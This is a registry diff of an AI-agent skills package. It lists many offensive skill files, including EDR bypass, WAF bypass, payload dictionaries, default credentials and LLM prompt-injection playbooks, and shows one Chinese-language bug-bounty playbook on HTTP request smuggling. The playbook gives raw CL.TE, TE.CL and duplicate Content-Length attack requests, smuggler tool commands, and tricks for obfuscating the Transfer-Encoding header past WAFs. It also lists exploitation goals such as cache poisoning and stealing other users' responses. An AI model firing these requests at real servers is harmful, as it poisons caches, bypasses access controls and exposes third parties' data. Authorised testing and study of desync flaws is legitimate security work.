opencode-skills-collection 4.0.42 → 4.0.44
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/bundled-skills/.antigravity-install-manifest.json +49 -1
- package/bundled-skills/api-rate-limit-handler/SKILL.md +282 -0
- package/bundled-skills/api-security/SKILL.md +205 -0
- package/bundled-skills/api-security/references/jwt-oauth-testing.md +123 -0
- package/bundled-skills/api-security/references/rest-graphql-testing.md +137 -0
- package/bundled-skills/apk-reverse/SKILL.md +438 -0
- package/bundled-skills/apk-reverse/references/android-advanced.md +365 -0
- package/bundled-skills/apk-reverse/references/apk-security-checklist.md +230 -0
- package/bundled-skills/apk-reverse/references/frida-bypass-kit.md +70 -0
- package/bundled-skills/apk-reverse/references/frida-cookbook.md +472 -0
- package/bundled-skills/attack-chain/SKILL.md +185 -0
- package/bundled-skills/attack-chain/references/attack-playbooks.md +126 -0
- package/bundled-skills/attack-chain/references/evasion-cheatsheet.md +133 -0
- package/bundled-skills/attack-chain/references/lifecycle-checklist.md +37 -0
- package/bundled-skills/attack-chain/references/phases.md +490 -0
- package/bundled-skills/binary-diff/SKILL.md +320 -0
- package/bundled-skills/binary-diff/references/prompt-template.md +173 -0
- package/bundled-skills/browser-extension-reverse/SKILL.md +99 -0
- package/bundled-skills/browser-extension-reverse/references/extension-analysis.md +10 -0
- package/bundled-skills/case-review/SKILL.md +167 -0
- package/bundled-skills/cloud-k8s/SKILL.md +124 -0
- package/bundled-skills/cloud-k8s/references/k8s-cloud-checklist.md +16 -0
- package/bundled-skills/code-audit/SKILL.md +92 -0
- package/bundled-skills/code-audit/references/sast-review-checklist.md +10 -0
- package/bundled-skills/database-security/SKILL.md +81 -0
- package/bundled-skills/database-security/references/db-misconfig-checklist.md +9 -0
- package/bundled-skills/diagram-generator/SKILL.md +199 -0
- package/bundled-skills/diagram-generator/references/README.md +3 -0
- package/bundled-skills/diagram-generator/references/diagram-patterns.md +254 -0
- package/bundled-skills/digital-forensics/SKILL.md +93 -0
- package/bundled-skills/digital-forensics/references/forensics-triage.md +10 -0
- package/bundled-skills/docs/integrations/jetski-cortex.md +3 -3
- package/bundled-skills/docs/integrations/jetski-gemini-loader/README.md +1 -1
- package/bundled-skills/docs/maintainers/repo-growth-seo.md +1 -1
- package/bundled-skills/docs/maintainers/skills-update-guide.md +1 -1
- package/bundled-skills/docs/sources/sources.md +9 -0
- package/bundled-skills/docs/users/aas-core.md +1 -1
- package/bundled-skills/docs/users/bundles.md +1 -1
- package/bundled-skills/docs/users/claude-code-skills.md +1 -1
- package/bundled-skills/docs/users/gemini-cli-skills.md +1 -1
- package/bundled-skills/docs/users/kiro-integration.md +1 -1
- package/bundled-skills/docs/users/usage.md +3 -3
- package/bundled-skills/docs/users/visual-guide.md +4 -4
- package/bundled-skills/docs-generator/SKILL.md +197 -0
- package/bundled-skills/docs-generator/references/security-report-templates.md +348 -0
- package/bundled-skills/docs-generator/references/templates.md +102 -0
- package/bundled-skills/docs-generator/references/vendor-report-rules.md +263 -0
- package/bundled-skills/dotnet-reverse/SKILL.md +197 -0
- package/bundled-skills/dotnet-reverse/references/common-workflow.md +171 -0
- package/bundled-skills/dotnet-reverse/references/obfuscators.md +145 -0
- package/bundled-skills/dotnet-reverse/references/sharp-tools.md +164 -0
- package/bundled-skills/edr-bypass-re/SKILL.md +248 -0
- package/bundled-skills/edr-bypass-re/references/hook-survey.md +226 -0
- package/bundled-skills/edr-bypass-re/references/telemetry-blinding.md +346 -0
- package/bundled-skills/edr-bypass-re/references/unhook-techniques.md +338 -0
- package/bundled-skills/email-security/SKILL.md +81 -0
- package/bundled-skills/email-security/references/email-auth-checklist.md +8 -0
- package/bundled-skills/firmware-pentest/SKILL.md +381 -0
- package/bundled-skills/firmware-pentest/references/emba-automated-analysis.md +192 -0
- package/bundled-skills/firmware-pentest/references/emulation-and-fuzz.md +337 -0
- package/bundled-skills/firmware-pentest/references/extraction-methodology.md +285 -0
- package/bundled-skills/ghidra-reverse/SKILL.md +98 -0
- package/bundled-skills/ghidra-reverse/references/ghidra-cheatsheet.md +12 -0
- package/bundled-skills/go-rust-reverse/SKILL.md +82 -0
- package/bundled-skills/go-rust-reverse/references/go-rust-notes.md +5 -0
- package/bundled-skills/hardware-security/SKILL.md +80 -0
- package/bundled-skills/hardware-security/references/debug-interface-triage.md +7 -0
- package/bundled-skills/ida-reverse/SKILL.md +401 -0
- package/bundled-skills/ida-reverse/references/LOCAL-SETUP.md +66 -0
- package/bundled-skills/ida-reverse/references/ida-mcp-cheatsheet.md +515 -0
- package/bundled-skills/identity-federation/SKILL.md +81 -0
- package/bundled-skills/identity-federation/references/sso-flow-checklist.md +9 -0
- package/bundled-skills/instructree/SKILL.md +94 -0
- package/bundled-skills/js-reverse/SKILL.md +239 -0
- package/bundled-skills/js-reverse/references/ast-deobfuscation.md +3 -0
- package/bundled-skills/js-reverse/references/automation-entry.md +12 -0
- package/bundled-skills/js-reverse/references/env-patching.md +6 -0
- package/bundled-skills/js-reverse/references/fallbacks.md +8 -0
- package/bundled-skills/js-reverse/references/instrumentation.md +9 -0
- package/bundled-skills/js-reverse/references/local-rebuild.md +11 -0
- package/bundled-skills/js-reverse/references/mcp-task-template.md +30 -0
- package/bundled-skills/js-reverse/references/node-env-rebuild.md +9 -0
- package/bundled-skills/js-reverse/references/output-contract.md +9 -0
- package/bundled-skills/js-reverse/references/task-artifacts.md +11 -0
- package/bundled-skills/js-reverse/references/task-input-template.md +11 -0
- package/bundled-skills/js-reverse/references/tool-defaults.md +7 -0
- package/bundled-skills/llm-security/SKILL.md +160 -0
- package/bundled-skills/llm-security/references/agent-obedience-engineering.md +243 -0
- package/bundled-skills/llm-security/references/agent-security-testing.md +116 -0
- package/bundled-skills/llm-security/references/owasp-llm-top10.md +48 -0
- package/bundled-skills/llm-security/references/prompt-injection-methodology.md +107 -0
- package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package-lock.json +4 -4
- package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package.json +1 -1
- package/bundled-skills/lore/SKILL.md +104 -298
- package/bundled-skills/lore/references/audit-template.md +21 -4
- package/bundled-skills/lore/references/compatibility.md +51 -121
- package/bundled-skills/lore/references/config.md +22 -23
- package/bundled-skills/lore/references/entry-format.md +33 -3
- package/bundled-skills/lore/references/history-command.md +98 -2
- package/bundled-skills/lore/references/platform-mirrors.md +45 -16
- package/bundled-skills/lore/references/stale-new-markers.md +10 -8
- package/bundled-skills/lore/references/summary-template.md +8 -1
- package/bundled-skills/lore/references/workflows.md +192 -0
- package/bundled-skills/lore/scripts/README.md +14 -13
- package/bundled-skills/lore/scripts/README.zh-CN.md +14 -13
- package/bundled-skills/lore/scripts/find_duplicates.py +14 -4
- package/bundled-skills/lore/scripts/find_stale.py +68 -16
- package/bundled-skills/lore/scripts/history.py +235 -23
- package/bundled-skills/lore/scripts/id_hash.py +7 -4
- package/bundled-skills/lore/scripts/list_entries.py +82 -13
- package/bundled-skills/macos-reverse/SKILL.md +85 -0
- package/bundled-skills/macos-reverse/references/macho-triage.md +10 -0
- package/bundled-skills/malware-analysis/SKILL.md +311 -0
- package/bundled-skills/malware-analysis/references/anti-analysis-techniques.md +205 -0
- package/bundled-skills/malware-analysis/references/sandbox-orchestration.md +204 -0
- package/bundled-skills/malware-analysis/references/yara-sigma-rules.md +232 -0
- package/bundled-skills/mobile-reverse/SKILL.md +222 -0
- package/bundled-skills/mobile-reverse/references/anti-detection-bypass.md +182 -0
- package/bundled-skills/mobile-reverse/references/frida-objection-deep.md +218 -0
- package/bundled-skills/mobile-reverse/references/ios-reverse-guide.md +177 -0
- package/bundled-skills/muapi-media/SKILL.md +311 -0
- package/bundled-skills/ot-ics/SKILL.md +117 -0
- package/bundled-skills/ot-ics/references/ot-safe-assessment.md +10 -0
- package/bundled-skills/patch-diff-exploit/SKILL.md +278 -0
- package/bundled-skills/patch-diff-exploit/references/diff-tools-comparison.md +271 -0
- package/bundled-skills/patch-diff-exploit/references/patch-tuesday-workflow.md +253 -0
- package/bundled-skills/patch-diff-exploit/references/root-cause-and-poc.md +198 -0
- package/bundled-skills/pentest-tools/SKILL.md +346 -0
- package/bundled-skills/pentest-tools/references/ai-pentest-agents.md +148 -0
- package/bundled-skills/pentest-tools/references/ai-pentesting-landscape-2026.md +73 -0
- package/bundled-skills/pentest-tools/references/automation-loop-pattern.md +153 -0
- package/bundled-skills/pentest-tools/references/awesome-pentest-digest.md +175 -0
- package/bundled-skills/pentest-tools/references/burpsuite-mcp-guide.md +769 -0
- package/bundled-skills/pentest-tools/references/client-side-lab-playbook.md +155 -0
- package/bundled-skills/pentest-tools/references/kali-mcp-ecosystem.md +119 -0
- package/bundled-skills/pentest-tools/references/msf-protocol.md +169 -0
- package/bundled-skills/pentest-tools/references/network-attack-defense.md +350 -0
- package/bundled-skills/pentest-tools/references/nuclei-guide-2026.md +157 -0
- package/bundled-skills/pentest-tools/references/payloads.md +32 -0
- package/bundled-skills/pentest-tools/references/pentest-ai-agents-matrix.md +117 -0
- package/bundled-skills/pentest-tools/references/pentest-loop.md +270 -0
- package/bundled-skills/pentest-tools/references/recon-pipeline.md +154 -0
- package/bundled-skills/pentest-tools/references/templates/findings.md +21 -0
- package/bundled-skills/pentest-tools/references/templates/progress.md +17 -0
- package/bundled-skills/pentest-tools/references/templates/rules.md +35 -0
- package/bundled-skills/pentest-tools/references/templates/scope.md +29 -0
- package/bundled-skills/pentest-tools/references/templates/task_plan.md +27 -0
- package/bundled-skills/pentest-tools/references/web-attack-cheatsheet.md +387 -0
- package/bundled-skills/pentest-tools/src-hunter/SKILL.md +243 -0
- package/bundled-skills/pentest-tools/src-hunter/references/README.en.md +115 -0
- package/bundled-skills/pentest-tools/src-hunter/references/README.md +148 -0
- package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/00-index.md +44 -0
- package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/chinese-srcfingerprints.md +515 -0
- package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/default-credentials-cn.md +274 -0
- package/bundled-skills/pentest-tools/src-hunter/references/industry/00-index.md +66 -0
- package/bundled-skills/pentest-tools/src-hunter/references/industry/banking-finance.md +338 -0
- package/bundled-skills/pentest-tools/src-hunter/references/industry/telecom-isp.md +315 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/00-index.md +68 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/01-attack-priority.md +143 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/02-bypass-toolkit.md +357 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/03-evidence-discipline.md +205 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/04-control-gap-hunting.md +238 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/05-srctimebox-priority.md +161 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/adcs/346/224/273/345/207/273.md +254 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/exchange/346/224/273/345/207/273.md +254 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/sharepoint/346/224/273/345/207/273.md +113 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//344/277/241/346/201/257/346/224/266/351/233/206.md +947 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/205/215/346/235/200/344/270/216/350/247/204/351/201/277.md +780 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/207/255/350/257/201/347/252/203/345/217/226.md +1259 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/237/237/346/270/227/351/200/217/346/224/273/345/207/273.md +753 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/235/203/351/231/220/346/217/220/345/215/207.md +819 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/235/203/351/231/220/347/273/264/346/214/201.md +577 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/250/252/345/220/221/347/247/273/345/212/250.md +838 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//351/232/247/351/201/223/344/273/243/347/220/206.md +604 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ai/345/256/211/345/205/250.md +698 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/api/345/256/211/345/205/250.md +1935 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/csrf/350/267/250/347/253/231/350/257/267/346/261/202/344/274/252/351/200/240.md +952 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/jwt/345/256/211/345/205/250.md +496 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/lfi-rfi/346/226/207/344/273/266/345/214/205/345/220/253.md +1365 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/rce/350/277/234/347/250/213/344/273/243/347/240/201/346/211/247/350/241/214.md +1329 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/sql-nosql/346/263/250/345/205/245.md +1924 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssrf/346/234/215/345/212/241/347/253/257/350/257/267/346/261/202/344/274/252/351/200/240.md +1256 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti/346/250/241/346/235/277/346/263/250/345/205/245.md +1151 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/websocket/345/256/211/345/205/250.md +487 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/xss/350/267/250/347/253/231/350/204/232/346/234/254.md +1465 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/xxe/345/256/236/344/275/223/346/263/250/345/205/245.md +815 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/270/232/345/212/241/351/200/273/350/276/221/346/274/217/346/264/236.md +594 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/272/221/345/256/211/345/205/250/346/274/217/346/264/236.md +561 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/276/233/345/272/224/351/223/276/346/224/273/345/207/273.md +399 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//345/216/237/345/236/213/351/223/276/346/261/241/346/237/223.md +401 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//345/274/200/346/224/276/351/207/215/345/256/232/345/220/221.md +396 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//346/226/207/344/273/266/346/274/217/346/264/236.md +0 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//346/241/206/346/236/266/346/274/217/346/264/236.md +2304 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//347/202/271/345/207/273/345/212/253/346/214/201.md +339 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//347/274/223/345/255/230/344/270/216cdn/345/256/211/345/205/250.md +497 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//350/256/244/350/257/201/346/274/217/346/264/236.md +1778 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//350/257/267/346/261/202/350/265/260/347/247/201.md +854 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/index.md +69 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools/web/346/270/227/351/200/217.md +662 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools/windows/346/270/227/351/200/217.md +100 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//344/277/241/346/201/257/346/224/266/351/233/206.md +852 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/206/205/347/275/221/346/270/227/351/200/217.md +873 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/207/255/350/257/201/347/252/203/345/217/226.md +186 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/237/237/346/270/227/351/200/217.md +50 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/257/206/347/240/201/346/224/273/345/207/273.md +462 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//346/235/203/351/231/220/346/217/220/345/215/207.md +168 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//346/274/217/346/264/236/345/210/251/347/224/250.md +445 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/263/273/347/273/237/345/221/275/344/273/244.md +410 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/272/242/351/230/237/345/267/245/345/205/267.md +64 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/274/226/347/240/201/350/247/243/347/240/201.md +226 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//351/232/247/351/201/223/344/273/243/347/220/206.md +84 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/waf-bypass.md +6504 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/00-index.md +57 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/api-rest.md +2050 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/arbitrary-x-authz.md +481 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/dos.md +615 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/file-upload.md +1365 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/graphql.md +253 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/http-smuggling.md +924 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/info-disclosure.md +432 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/intranet-postexp.md +4845 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/llm-prompt-injection.md +1394 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/logic-flaws.md +1796 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/mobile.md +397 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/oauth-saml-jwt.md +2504 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/path-traversal.md +1297 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/race-conditions.md +207 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/rce.md +4829 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/sqli.md +1620 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/ssrf-cache-host.md +2098 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/unauth-access.md +330 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/xss.md +1159 -0
- package/bundled-skills/pentest-tools/src-hunter/references/templates/report-submission.md +346 -0
- package/bundled-skills/pentest-tools/src-hunter/references/tools/mcp-jshook.md +174 -0
- package/bundled-skills/poka-yoke/SKILL.md +172 -0
- package/bundled-skills/project-state-governor/SKILL.md +1 -1
- package/bundled-skills/project-state-governor/references/project-state-schema.md +1 -1
- package/bundled-skills/protocol-reverse/SKILL.md +108 -0
- package/bundled-skills/protocol-reverse/references/protocol-workflow.md +29 -0
- package/bundled-skills/pwn-chain/SKILL.md +209 -0
- package/bundled-skills/pwn-chain/references/heap-pwn.md +283 -0
- package/bundled-skills/pwn-chain/references/kernel-pwn.md +370 -0
- package/bundled-skills/pwn-chain/references/stack-pwn.md +312 -0
- package/bundled-skills/radare2/SKILL.md +460 -0
- package/bundled-skills/radare2/references/cheatsheet.md +129 -0
- package/bundled-skills/radio-sdr/SKILL.md +77 -0
- package/bundled-skills/radio-sdr/references/sdr-lab-rules.md +6 -0
- package/bundled-skills/reverse-browser-automation/SKILL.md +249 -0
- package/bundled-skills/reverse-browser-automation/references/playwright-cheatsheet.md +425 -0
- package/bundled-skills/reverse-engineering/SKILL.md +213 -0
- package/bundled-skills/reverse-engineering/dsl-vm-reverse/SKILL.md +388 -0
- package/bundled-skills/reverse-engineering/references/ai-assisted-re.md +149 -0
- package/bundled-skills/reverse-engineering/references/anti-analysis.md +836 -0
- package/bundled-skills/reverse-engineering/references/awesome-re-resources.md +135 -0
- package/bundled-skills/reverse-engineering/references/crypto-decode-tools.md +220 -0
- package/bundled-skills/reverse-engineering/references/elf-analysis.md +296 -0
- package/bundled-skills/reverse-engineering/references/field-notes.md +540 -0
- package/bundled-skills/reverse-engineering/references/go-reverse.md +240 -0
- package/bundled-skills/reverse-engineering/references/kernel-driver-reverse.md +298 -0
- package/bundled-skills/reverse-engineering/references/languages-compiled.md +587 -0
- package/bundled-skills/reverse-engineering/references/languages-platforms.md +486 -0
- package/bundled-skills/reverse-engineering/references/languages.md +499 -0
- package/bundled-skills/reverse-engineering/references/nonpe-format-cookbook.md +301 -0
- package/bundled-skills/reverse-engineering/references/ollvm-deobfuscation.md +501 -0
- package/bundled-skills/reverse-engineering/references/patterns-ctf-2.md +397 -0
- package/bundled-skills/reverse-engineering/references/patterns-ctf-3.md +719 -0
- package/bundled-skills/reverse-engineering/references/patterns-ctf.md +532 -0
- package/bundled-skills/reverse-engineering/references/patterns.md +801 -0
- package/bundled-skills/reverse-engineering/references/platforms-hardware.md +304 -0
- package/bundled-skills/reverse-engineering/references/platforms.md +442 -0
- package/bundled-skills/reverse-engineering/references/re-agent-workflow.md +240 -0
- package/bundled-skills/reverse-engineering/references/tools-advanced.md +822 -0
- package/bundled-skills/reverse-engineering/references/tools-dynamic.md +846 -0
- package/bundled-skills/reverse-engineering/references/tools.md +546 -0
- package/bundled-skills/spec-driven-loop/SKILL.md +203 -0
- package/bundled-skills/spec-driven-loop/references/agent-and-judge-contracts.md +120 -0
- package/bundled-skills/spec-driven-loop/references/document-templates.md +184 -0
- package/bundled-skills/supply-chain-security/SKILL.md +180 -0
- package/bundled-skills/supply-chain-security/references/cicd-pipeline-security.md +137 -0
- package/bundled-skills/supply-chain-security/references/sbom-sca-methodology.md +74 -0
- package/bundled-skills/thick-client/SKILL.md +104 -0
- package/bundled-skills/thick-client/references/thick-client-checklist.md +9 -0
- package/bundled-skills/threat-hunting/SKILL.md +94 -0
- package/bundled-skills/threat-hunting/references/hunting-loop.md +5 -0
- package/bundled-skills/threat-intelligence/SKILL.md +176 -0
- package/bundled-skills/threat-intelligence/references/x-public-intelligence.md +93 -0
- package/bundled-skills/tree-ring-memory/SKILL.md +29 -9
- package/bundled-skills/wifi-wireless/SKILL.md +80 -0
- package/bundled-skills/wifi-wireless/references/wireless-lab-rules.md +6 -0
- package/bundled-skills/windows-ad/SKILL.md +109 -0
- package/bundled-skills/windows-ad/references/ad-attack-paths.md +12 -0
- package/package.json +1 -1
- package/skills_index.json +1281 -3
- package/bundled-skills/lore/README.md +0 -386
- package/bundled-skills/lore/README.zh-CN.md +0 -386
- package/bundled-skills/lore/WORKFLOWS.md +0 -216
- package/bundled-skills/lore/WORKFLOWS.zh-CN.md +0 -216
|
@@ -0,0 +1,924 @@
|
|
|
1
|
+
# HTTP Request Smuggling / HTTP/2 Desync
|
|
2
|
+
|
|
3
|
+
> 视角:黑盒,目标是利用前后端解析差异
|
|
4
|
+
|
|
5
|
+
## 1. 一句话说清
|
|
6
|
+
|
|
7
|
+
前置代理(CDN / WAF / Nginx)和后端服务器对 `Content-Length` / `Transfer-Encoding` 解析不一致 →
|
|
8
|
+
攻击者把"半包"塞进流,影响下个用户的请求/响应。
|
|
9
|
+
SRC 价值:成功的 desync = P1/P0($2k–$10k+)。
|
|
10
|
+
|
|
11
|
+
---
|
|
12
|
+
|
|
13
|
+
## 2. 类型速览
|
|
14
|
+
|
|
15
|
+
| 类型 | 前置代理用 | 后端用 |
|
|
16
|
+
|------|----------|------|
|
|
17
|
+
| **CL.TE** | Content-Length | Transfer-Encoding |
|
|
18
|
+
| **TE.CL** | Transfer-Encoding | Content-Length |
|
|
19
|
+
| **TE.TE** | 都看,但前后处理混淆 | 同 |
|
|
20
|
+
| **HTTP/2 → HTTP/1 desync** | h2 | h1 后端 |
|
|
21
|
+
| **CL.0** | CL=0 后端忽略 | 后端读 body |
|
|
22
|
+
|
|
23
|
+
---
|
|
24
|
+
|
|
25
|
+
## 3. 探测手法
|
|
26
|
+
|
|
27
|
+
### 3.1 工具
|
|
28
|
+
|
|
29
|
+
```bash
|
|
30
|
+
# Burp 扩展
|
|
31
|
+
HTTP Request Smuggler
|
|
32
|
+
|
|
33
|
+
# 命令行
|
|
34
|
+
smuggler.py -u https://target -v
|
|
35
|
+
http2smugl quirks --target target.com:443
|
|
36
|
+
h2csmuggler -u https://target/ --path /admin
|
|
37
|
+
```
|
|
38
|
+
|
|
39
|
+
### 3.2 经典 PoC
|
|
40
|
+
|
|
41
|
+
#### CL.TE
|
|
42
|
+
|
|
43
|
+
```
|
|
44
|
+
POST / HTTP/1.1
|
|
45
|
+
Host: victim
|
|
46
|
+
Content-Length: 6
|
|
47
|
+
Transfer-Encoding: chunked
|
|
48
|
+
|
|
49
|
+
0
|
|
50
|
+
|
|
51
|
+
G
|
|
52
|
+
```
|
|
53
|
+
|
|
54
|
+
前端按 CL=6 读了 `0\r\n\r\nG`,后端按 chunked 看到 `0\r\n\r\n` 结束,剩下 `G` 进入下一个请求。
|
|
55
|
+
|
|
56
|
+
#### TE.CL
|
|
57
|
+
|
|
58
|
+
```
|
|
59
|
+
POST / HTTP/1.1
|
|
60
|
+
Host: victim
|
|
61
|
+
Content-Length: 4
|
|
62
|
+
Transfer-Encoding: chunked
|
|
63
|
+
|
|
64
|
+
5c
|
|
65
|
+
GPOST / HTTP/1.1
|
|
66
|
+
...
|
|
67
|
+
0
|
|
68
|
+
|
|
69
|
+
```
|
|
70
|
+
|
|
71
|
+
#### 双 CL
|
|
72
|
+
|
|
73
|
+
```
|
|
74
|
+
POST / HTTP/1.1
|
|
75
|
+
Host: victim
|
|
76
|
+
Content-Length: 4
|
|
77
|
+
Content-Length: 1
|
|
78
|
+
|
|
79
|
+
GPOST...
|
|
80
|
+
```
|
|
81
|
+
|
|
82
|
+
#### CL.0(HTTP/2 时常见)
|
|
83
|
+
|
|
84
|
+
后端忽略 CL(POST 当 GET 处理),前端按 CL 取走 body → 走私。
|
|
85
|
+
|
|
86
|
+
#### h2c smuggling
|
|
87
|
+
|
|
88
|
+
```bash
|
|
89
|
+
h2csmuggler -u http://target/ --path /admin
|
|
90
|
+
# 利用 HTTP/1.1 → HTTP/2 升级让前置代理失效
|
|
91
|
+
```
|
|
92
|
+
|
|
93
|
+
---
|
|
94
|
+
|
|
95
|
+
## 4. Bypass 矩阵
|
|
96
|
+
|
|
97
|
+
| 拦 | 绕 |
|
|
98
|
+
|---|---|
|
|
99
|
+
| 标准 CL/TE 检测 | TE 大小写:`Transfer-encoding`、`transfer-Encoding` |
|
|
100
|
+
| TE 拦 | TE 末尾加空格:`Transfer-Encoding : chunked` |
|
|
101
|
+
| WAF 检测 | TE 值变形:`chunked`、`chunked,gzip`、`xchunked` |
|
|
102
|
+
| 标准 chunk 拦 | 0 大小 chunk 后塞数据 |
|
|
103
|
+
| h2 关闭 | h2c upgrade |
|
|
104
|
+
|
|
105
|
+
---
|
|
106
|
+
|
|
107
|
+
## 5. 利用提权 / 横向
|
|
108
|
+
|
|
109
|
+
```
|
|
110
|
+
1. 缓存投毒:让代理把恶意响应缓存为另一 URL
|
|
111
|
+
2. 跨用户访问:把 admin 端点的响应"借"给下个用户
|
|
112
|
+
3. 旁路 IP 限制:用走私走过 IP 校验
|
|
113
|
+
4. 偷 secret:让别人的请求 + 自己的响应混合
|
|
114
|
+
5. XSS(缓存了走私响应)
|
|
115
|
+
```
|
|
116
|
+
|
|
117
|
+
---
|
|
118
|
+
|
|
119
|
+
## 6. 真实案例指纹
|
|
120
|
+
|
|
121
|
+
- PortSwigger blog 系列(James Kettle)
|
|
122
|
+
- Cloudflare / Akamai 多次披露
|
|
123
|
+
- HackerOne H1 上 desync 报告 $5k–$30k
|
|
124
|
+
|
|
125
|
+
通用指纹:
|
|
126
|
+
- 同一连接发 2 个请求,第 2 个响应"看起来是别的请求的"
|
|
127
|
+
- 偶尔 503 / 502 / 异常 status code
|
|
128
|
+
- 代理日志和后端日志请求数对不上
|
|
129
|
+
|
|
130
|
+
---
|
|
131
|
+
|
|
132
|
+
## 7. 复现 / 证据要点
|
|
133
|
+
|
|
134
|
+
### 7.1 PoC
|
|
135
|
+
|
|
136
|
+
```
|
|
137
|
+
# 在 Burp Repeater 用 raw 模式发送下面包(保留 CRLF)
|
|
138
|
+
POST / HTTP/1.1
|
|
139
|
+
Host: target.com
|
|
140
|
+
Content-Length: 6
|
|
141
|
+
Transfer-Encoding: chunked
|
|
142
|
+
|
|
143
|
+
0\r\n\r\nG
|
|
144
|
+
|
|
145
|
+
# 立即第二个请求(同连接,Burp Repeater 同样栏)
|
|
146
|
+
GET / HTTP/1.1
|
|
147
|
+
Host: target.com
|
|
148
|
+
|
|
149
|
+
→ 第二个响应应当反映前一次走私的 'G' 前缀
|
|
150
|
+
```
|
|
151
|
+
|
|
152
|
+
### 7.2 CVSS
|
|
153
|
+
|
|
154
|
+
```
|
|
155
|
+
HTTP smuggling → 缓存投毒 = 8.1 High
|
|
156
|
+
HTTP smuggling → 旁路鉴权 = 9.1 Critical
|
|
157
|
+
HTTP smuggling → 跨用户 = 8.1 High
|
|
158
|
+
```
|
|
159
|
+
|
|
160
|
+
---
|
|
161
|
+
|
|
162
|
+
